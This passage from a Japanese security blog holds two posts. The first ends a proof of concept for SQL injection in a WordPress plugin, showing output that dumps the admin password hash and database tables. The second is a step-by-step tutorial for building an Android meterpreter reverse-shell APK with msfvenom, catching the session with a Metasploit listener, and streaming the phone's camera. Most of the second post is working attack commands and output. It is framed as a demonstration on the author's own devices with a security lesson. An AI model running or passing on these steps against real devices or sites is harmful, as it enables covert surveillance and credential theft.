    for t in BUILTIN_TABLES
)
get_fields('information_schema.tables', ['table_name'], 'where ' + NOT_BUILTIN_TABLE_CLAUSE)

PoCを実行すると以下の様な結果が表示されます。

$ python3 exploit.py http://172.20.100.120:6544 1
Wordpress users
admin $P$BIzYvB4w1QPfvWw.tArYlpiP/PaUOy0
DB tables
wp_comments
wp_commentmeta
wp_users
wp_posts
wp_wc_avatars_cache
wp_term_relationships
wp_terms
wp_term_taxonomy
wp_postmeta
wp_wc_phrases
wp_usermeta
wp_termmeta
wp_wc_follow_users
wp_links
wp_wc_comments_subscription
wp_options
wp_wc_users_voted

実行結果からもわかる様にWordPressのユーザー名とパスワード(Hash)、DBのテーブル一覧を取得しています。
プラグインをインストールするだけで今回の脆弱性を再現することができました。

おわりに

今回検証した脆弱性プラグインを有効化してあるだけで悪用可能ですが、プラグインの有効インストール数は8万サイト以上となっているためある程度の影響力があることがわかります。

今回取り上げたプラグインはではすでに脆弱性が修正されたバージョンがリリースされています。

自分が管理するサーバー以外では絶対に試さないでください。
また、検証は自己責任で行ってください。

Armoris日記 Android app HTTP Reverse Shell編

このブログは、昨年3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

HTTP Reverse Shellを行うAndroidアプリ

2021年最初のArmoris日記ではKali Linuxを使用してHTTP Reverse Shellを行うアプリを作成し、検証端末のカメラ映像取得を試します。

検証には自身で管理する端末を使用し、自己責任でお願いします

今回はツールを使用してAndroidアプリを作成するため、JavaAndroidアプリに関する知識がなくても簡単に試すことができます。

検証環境

検証にあたり使用した環境とバージョンは以下のとおりです。

Name Version
Android 7.0
Kali Linux 2020.04
apktool 2.5.0

検証環境準備

まずはAndroidアプリを作成するためのツールを準備します。
まずはapktoolをインストールします。
公式:APKTOOL

root@kali-linux:~# cd /usr/local/bin
root@kali-linux:/usr/local/bin# wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/osx/apktool
root@kali-linux:/usr/local/bin# wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.5.0.jar
root@kali-linux:/usr/local/bin# chmod a+x ./

インストールの確認

root@kali-linux:/usr/local/bin# apktool -v
Apktool v2.5.0 - a tool for reengineering Android apk files
with smali v2.4.0 and baksmali v2.4.0
Copyright 2010 Ryszard Wiśniewski 
Copyright 2010 Connor Tumbleson 

usage: apktool
 -advance,--advanced   prints advance information.
 -version,--version    prints the version then exits
usage: apktool if|install-framework [options] 
 -p,--frame-path    Stores framework files into .
 -t,--tag           Tag frameworks using .
usage: apktool d[ecode] [options] 
 -f,--force              Force delete destination directory.
 -o,--output        The name of folder that gets written. Default is apk.out
 -p,--frame-path    Uses framework files located in .
 -r,--no-res             Do not decode resources.
 -s,--no-src             Do not decode sources.
 -t,--frame-tag     Uses framework files tagged by .
usage: apktool b[uild] [options] 
 -f,--force-all          Skip changes detection and build all files.
 -o,--output        The name of apk that gets written. Default is dist/name.apk
 -p,--frame-path    Uses framework files located in .

For additional info, see: https://ibotpeaches.github.io/Apktool/
For smali/baksmali info, see: https://github.com/JesusFreke/smali

zipalignをインストールします。

root@kali-linux:/usr/local/bin# apt -y install zipalign

関連パッケージをインストールします。

root@kali-linux:/usr/local/bin# apt -y install lib32stdc++6 lib32z1 lib32z1-dev

ペイロード作成

各種インストールが完了したら実際にAndroid用のapkを作成します。
LHOST/LPORTは自身の環境に合わせて設定します。

root@kali-linux:/home/user/Desktop/Android-app-ReverseHTTP# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.50.131 LPORT=6544 -o ./payload.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
No encoder specified, outputting raw payload
Payload size: 10188 bytes
Saved as: ./payload.apk
root@kali-linux:/home/user/Desktop/Android-app-ReverseHTTP# ls
payload.apk

ペイロード実行

ペイロードの生成が完了したら検証端末にインストールして実行します。
まずはKali Linuxで接続を待ち受けます。

┌──(user㉿kali-linux)-[~/Desktop/Android-app-ReverseHTTP]
└─$ msfconsole

Metasploit tip: Enable verbose logging with set VERBOSE
true

msf6 > use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.50.131
lhost => 192.168.50.131
msf6 exploit(multi/handler) > set lport 6544
lport => 6544
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (android/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.50.131    yes       The listen address (an interface may be specified)
   LPORT  6544             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.50.131:6544

検証端末にpayload.apkをインストールします。
f:id:Armoris:20210108195414j:plain

インストールを選択すると以下のようにアラートが出る場合がありますが、そのままインストールするを選択します。
f:id:Armoris:20210108195456j:plain

以下のようアラートが出る場合は送信しないを選択します。
f:id:Armoris:20210108195600j:plain

画像のような画面になったら開くを選択します。
f:id:Armoris:20210108195705j:plain

開くを選択すると以下のようにセッションが確立されます。

[*] Started reverse TCP handler on 192.168.50.131:6544
[*] Sending stage (76756 bytes) to 192.168.50.149
[*] Meterpreter session 5 opened (192.168.50.131:6544 -> 192.168.50.149:38322) at 2021-01-08 19:49:06 +0900

meterpreter >

カメラ映像を取得

いよいよ本題であるカメラ映像の取得を試します。
セッションが確立したmeterpreterで以下のコマンドを実行します。

meterpreter > webcam_stream -i 1
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/user/Desktop/Android-app-ReverseHTTP/JKCDoUut.html
[*] Streaming...

コマンド実行後自動的にブラウザが立ち上がり以下のようにカメラ映像を取得することができます。
f:id:Armoris:20210108200004p:plain

この時のKali Linuxでのログは以下のようになっています。
ログを見ると画像データを定期的に取得して表示していることがわかります。

meterpreter > webcam_stream -i 1
[*] Starting...
[*] Preparing player...
[*] Opening player at: /home/user/Desktop/Android-app-ReverseHTTP/JKCDoUut.html
[*] Streaming...
[18470:18470:0108/170434.257084:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
libva error: vaGetDriverNameByIndex() failed with unknown libva error, driver_name = (null)
[18511:18511:0108/170434.447249:ERROR:vaapi_wrapper.cc(480)] vaInitialize failed: unknown libva error
[18511:18511:0108/170434.479745:ERROR:sandbox_linux.cc(374)] InitializeSandbox() called with multiple threads in process gpu-process.
Corrupt JPEG data: premature end of data segment
Corrupt JPEG data: 200370 extraneous bytes before marker 0xd9
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb
Corrupt JPEG data: 399 extraneous bytes before marker 0xd2
Corrupt JPEG data: 143 extraneous bytes before marker 0xd2
Corrupt JPEG data: 24 extraneous bytes before marker 0xfd
Corrupt JPEG data: 271 extraneous bytes before marker 0xd2
Corrupt JPEG data: 328 extraneous bytes before marker 0x13
Corrupt JPEG data: premature end of data segment
[18470:18470:0108/170617.294903:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
[18470:18470:0108/170617.327342:ERROR:edid_parser.cc(102)] Too short EDID data: manufacturer id
Corrupt JPEG data: 7 extraneous bytes before marker 0xd9
Corrupt JPEG data: 456 extraneous bytes before marker 0x13
Corrupt JPEG data: 10 extraneous bytes before marker 0xc0
Corrupt JPEG data: 10 extraneous bytes before marker 0xc0
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb
Corrupt JPEG data: 128 extraneous bytes before marker 0xdb

コマンド実行時の-iオプションの数字を2にすることで内側のカメラ映像を取得することができます。

この時対象端末でカメラアプリを起動使用すると以下のようにエラーが発生します。
f:id:Armoris:20210108200550j:plain

最後に

今回はHTTP Reverse Shellを仕込んだAndroidアプリを作成し、実際に端末のカメラから映像を取得しました。手順を見てもわかるように、Payloadアプリの作成から映像取得まで容易に行うことが確認できたと思います。
また、インストール時の許可設定も非常に多くほぼ全ての権限を要求しています。

今後公式ストア以外から直接.apkファイルをダウンロードしてインストールする場合は、権限の要求内容などもよく確認してみてください。

検証には自身で管理する端末を使用し、自己責任でお願いします